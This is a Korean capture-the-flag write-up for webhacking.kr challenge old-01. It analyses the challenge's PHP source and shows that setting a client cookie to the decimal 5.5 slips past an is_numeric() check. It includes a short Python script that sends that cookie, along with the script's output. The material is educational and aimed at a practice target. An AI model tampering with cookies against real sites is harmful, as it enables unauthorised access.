old-01

Problem Analysis

old-01-problem

이 페이지에서는 사용자의 입력을 받는 부분이 따로 나타나지 않기 때문에, 바로 view-source 링크를 클릭하여 코드를 확인합니다.

<?php
  include "../../config.php";
  if($_GET['view-source'] == 1){ view_source(); }
  if(!$_COOKIE['user_lv']){
    SetCookie("user_lv","1",time()+86400*30,"/challenge/web-01/");
    echo("<meta http-equiv=refresh content=0>");
  }
?>
<html>
<head>
<title>Challenge 1</title>
</head>
<body bgcolor=black>
<center>
<br><br><br><br><br>
<font color=white>
---------------------<br>
<?php
  if(!is_numeric($_COOKIE['user_lv'])) $_COOKIE['user_lv']=1;
  if($_COOKIE['user_lv']>=6) $_COOKIE['user_lv']=1;
  if($_COOKIE['user_lv']>5) solve(1);
  echo "<br>level : {$_COOKIE['user_lv']}";
?>
<br>
<a href=./?view-source=1>view-source</a>
</body>
</html>

코드의 상단 부분을 먼저 확인하면 쿠키가 없을 때 user_lv 에 1을 넣는것을 확인할 수 있고, 실제로 페이지에 아무런 조작 없이 접속했을 때 쿠키에 user_lv=1이 할당된 것을 확인할 수 있습니다. 코드의 하단 부분을 확인하면 세 가지의 if문을 통해 아래와 같이 로직을 나누고 있습니다.

  1. user_lv가 is_numeric()을 통과하지 못하면 user_lv를 1로 설정
  2. user_lv가 6 이상이면 user_lv를 1로 설정
  3. user_lv가 5 초과라면 solve(1)을 실행

우리의 목적은 1, 2를 우회하여 3을 실행하는 것입니다. 1번 조건은 숫자를 입력하면 됩니다. 2번 조건을 우회하기 위해 6 미만의 숫자를 입력해야 합니다. 3번 조건을 만족하기 위해 5 초과의 숫자를 입력해야 합니다. 즉, is_numeric()을 통과하며 \(5 < user\_lv < 6\)을 만족하면 됩니다.

해당 조건을 만족하는 수를 알기 위해서는 is_numeric()함수의 특징을 알아야 합니다. is_numeric()은 부호, 10진수, 지수(e), 소수점을 허용합니다. 예를 들어 +0123.45e6는 올바른 값입니다. 즉 우리는 소수점을 사용하여 1번 조건을 우회할 수 있다는 것을 파악하였으므로, \(5 < user\_lv < 6\)를 만족할 수 있는 값을 사용하면 됩니다. 여기서는 user_lv5.5로 정의하여 사용할 예정입니다. ***

Implementation

import login

print "[+] Login and get session"
session = login.getLoginSession()

print "[+] Set URL"
url = "https://webhacking.kr/challenge/web-01/"
print "[*] " + url

print "[+] Set cookies"
cookies = {
    "user_lv": "5.5"
}
print "[*] " + str(cookies)

print "[+] Exploit"
response = session.get(url=url, cookies=cookies)
print response.text

Execution Result

[+] Login and get session
[+] Set URL
[*] https://webhacking.kr/challenge/web-01/
[+] Set cookies
[*] {'user_lv': '5.5'}
[+] Exploit
<html>
<head>
<title>Challenge 1</title>
</head>
<body bgcolor=black>
<center>
<br><br><br><br><br>
<font color=white>
---------------------<br>
<script>alert('already solved');</script><br>level : 5.5<br>
<a href=./?view-source=1>view-source</a>
</body>
</html>

Webhacking.kr Post List

TITLE DATE
old-02 2019-12-06
old-01 2019-11-27
login 2019-11-26